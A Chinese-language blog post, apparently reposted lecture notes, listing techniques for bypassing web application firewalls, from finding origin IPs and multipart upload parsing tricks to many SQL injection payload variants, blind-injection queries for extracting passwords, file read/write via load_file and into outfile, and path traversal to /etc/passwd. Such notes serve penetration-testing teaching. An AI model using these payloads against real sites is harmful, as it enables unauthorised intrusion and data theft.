一些 bypass WAF 技巧

也是之前讲课写的,现在搬运过来

---

WAF所处的位置
* 云WAF
* 硬件WAF
* 软件WAF
* 代码级WAF
 
WAF的绕过
1 架构层
   1 对于云WAF,寻找真实ip
       1 在子域名的ip段中找
       2 信息泄漏
       3 穷举ip
   2 对于云WAF,利用同网段
    3 WAF可能会进行两次URL解码
       对输入进行两次url编码
    4 编码问题
mysql默认的字符集是latin,因此在php代码里面设置的字符集为 utf-8,这只是客户端的字符集,因此存在字符集装换的问题utf-8—>latin,若传进来的字符集不是完整的字符,则会导致不完整的字符自动会忽略的问题,比如username=admin%c2 , 由于%c2不是一个完整的utf-8字符 因此传到Mysql 里面 自动忽略了,导致查出的是admin用户的数据,可以利用这个特性绕过。
为了便利性 牺牲安全性。(select * from admin where user=“Admin” 可以执行, mysql为了 使用的便利性 会允许一些 ‘错误’,比如 select * from admin where user=“Àdmin” 依然可移执行
   
2 资源限制角度
   1 http请求body太大,WAF可能只检测前几k字节
3 协议层
   1 协议未覆盖绕过
       1 WAF没有实现对某种http协议的解析
       2 文件包含,绝对路径绕过,没有检测某种协议
   2 利用WAF与web容器对http协议解析不一致
       1 某个字段遇到换行,WAF和php接收到的可能不一样
       2 包含多个Content-Disposition 
            WAF可能会以最后一个filename为文件名
            WAF可能解析了第一个就认为结束了
       3 Content-Disposition中有多个filename
       4 Content-Disposition 中name="myfile" 后跟两个分号 WAF解析不到文件名
       5 同时上传多个文件,WAF可能只检测第一个
       6 利用不标准的语法 WAF可能无法解析 filename="abc.php  filename='abc.php’
        7 url后同一个变量传多个值 ?id=1&id=2
            1 apache tomcat会获得2
            2 IIS会获得1,2
        8 变换http请求中参数的位置
filename=”test.asp”位于Content-Type: application/octet-stream 下一行时
 
4 规则缺陷
    1 SQL注入
       绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准,但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法,容易遗漏,从而被利用绕过WAF
        1 注释符  
/**/   /*!*/   
            WAF可能考虑到/\*.*\*/很耗性能,会使用了/\*\w+\*/ 逐步测试绕过方法,先测试最基本的union/**/select
            然后在中间夹特殊字符 union/*aaaa%01bbs*/select  
            然后测试长度union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
反引号    `放在mysql末尾会起注释符的作用
#
 
--
 
-- -
 
--+ 
// 
/**/         多个
/*letmetest*/ 
;%00
/*  mysql版本小于5.1
/*!111or*/1=1-- -
 
         2 空白符
SQLite3 0A 0D 0C 09 20 
MySQL5 09 0A 0B 0C 0D A0 20 
PosgresSQL 0A 0D 0C 09 20 
Oracle 11g 00 0A 0D 0C 09 20 
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,20
不用空白符的话,可以用括号,操作符,前缀,引号连接符号
'or+(1)sounds/**/like“1“--%a0-
        3 函数分隔符
           在调用函数名和括号之间插特殊字符  concat/**/(
        4 浮点数,科学计数法词法分析
           select * from users where id=8E0union select 1,2,3,4,5
           select * from users where id=8.0union select 1,2,3
           select * from users where id=\Nunion select 1,2,3,4,5
       5 用于报错注入的函数
           multipolygon()
           multilinestring()
       6 mysql特殊语法
           select{x table_name}from{x information_schema.tables};
       7 关键字过滤,使用等效关键字替换
关键字是没法混淆的,最多大小写 SeLecT
sel/**/ect 在mysql4.1版本后失效,一般考虑使用其他等效关键字,不过有些WAF会直接把/**/替换为空
< > 等价于 BETWEEN
= 等价于 like
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
(mysql支持&& || ,oracle不支持 && ||)
or and被过滤        || &&
union select被过滤 
/union\s+select/i
绕过:
'and(true)like(false)union(select(pass)from(users))# 
'union [all|distinct] select pass from users# 
'union%a0select pass from users# 
'union/*!select*/pass from users# 
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
 
union单个关键字被过滤的话,用盲注,注意子查询只能返回一个值
' and (select pass from users limit 1)='secret
limit被过滤
limit在注入中常用于限制子查询返回一个值
' and (select pass from users where id =1)='a 
' and (select pass from users group by id having id = 1)='a
group被过滤 group同样用于子查询限制返回个数
' and length((select pass from users having substr(pass,1,1)='a'))
having 被过滤
' and (select substr(group_concat(pass),1,1) from users)='a
gourp_concat 限制了个数为1024
group_concat(substr(pass,1,4)) 
group_concat(substr(pass,5,4)) ...
' and substr((select max(replace(pass,'lastpw','')) from users),1,1)='a
select from被过滤 /SELECT\s+[A-Za-z\.]+\s+FROM/i
select [all|distinct] pass from users 
select`table_name`from`information_schema` . `tables` 
select pass as alias from users 
select pass aliasalias from users 
select pass`alias alias`from users 
select+pass%a0from(users)
单个select被过滤
1 如果有文件权限
    ' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a
    '='' into outfile '/var/www/dump.txt
2 知道列名的情况 ,只能操作当前表
    1 获取列名
        1 开源软件 
        2 猜解 ' and data is not null#
        3 ' procedure analyse()#    用在limit后
    2 直接跟where条件
        Admin' and substr(pass,1,1) = 'a
    3 如果2中and被过滤了,
        1 利用自动类型转换
 '-0#
select data from users where name = ''-0 # int typecast 
select data from users where name = 0 # int typecast 
select data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
        2 利用条件语句 ifnull(nullif()), case when or if()
'-if(name='Admin',1,0)#
函数名过滤
函数名本身是无法绕过的,顶多在和括号之间加空格 load_file/*foo*/()
       8 表达式前跟前缀 select  --+2=- -!!!(2+4);
        9 各种操作符
^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
 
XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
         10 字符串的不同形式
' or “a“ = 'a 
' or 'a' = n'a                 # unicode
' or 'a' = b'1100001              # binary
' or 'a' = _binary'1100001 
' or 'a' = x'61                # hexadecimal
 
        11 mysql表达式
常量 true, false, null, \N, current_timestamp, …
变量  @myvar:=1
系统变量 @@version  @@datadir      show variables;可以看到全部
函数 version(), pi(), pow(), char(), substring(), ...
         12 mysql类型转换
            1 隐式类型转换
' or 1 = true # true=1, false=0 
' or 1 # true 
' or version() = 5.1 # 5.1.36-community-log
' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1
 
select * from users where 'a'='b'='c' 
select * from users where ('a'='b')='c' 
select * from users where (false)='c' 
select * from users where (0)='c' 
select * from users where (0)=0 
select * from users where true 
select * from users
 
mysql> select 'a'='b'='c';
+-------------+
| 'a'='b'='c' |
+-------------+
|           1 |
+-------------+
   2 文件操作相关的漏洞一般和路径有关,文件包含,文件下载等漏洞
           1 相对路径 ,如果只检查连续的../     误报会很多,通常会检测连续的../ 可以组合使用 ./ // ../
           2 绝对路径   
               1 可以组合/./和 //  
               2 可能只拦截了常见文件/etc/passwd等
               3 如果WAF检测开始路径是linux标准目录名,可以用一个不存在的路径开头 /dasdfe/../etc/passwd   php如果没有先检查文件是否存在,可以直接包含
    3 命令执行
         

猜你喜欢

转载自www.cnblogs.com/junmoxiao/p/11774796.html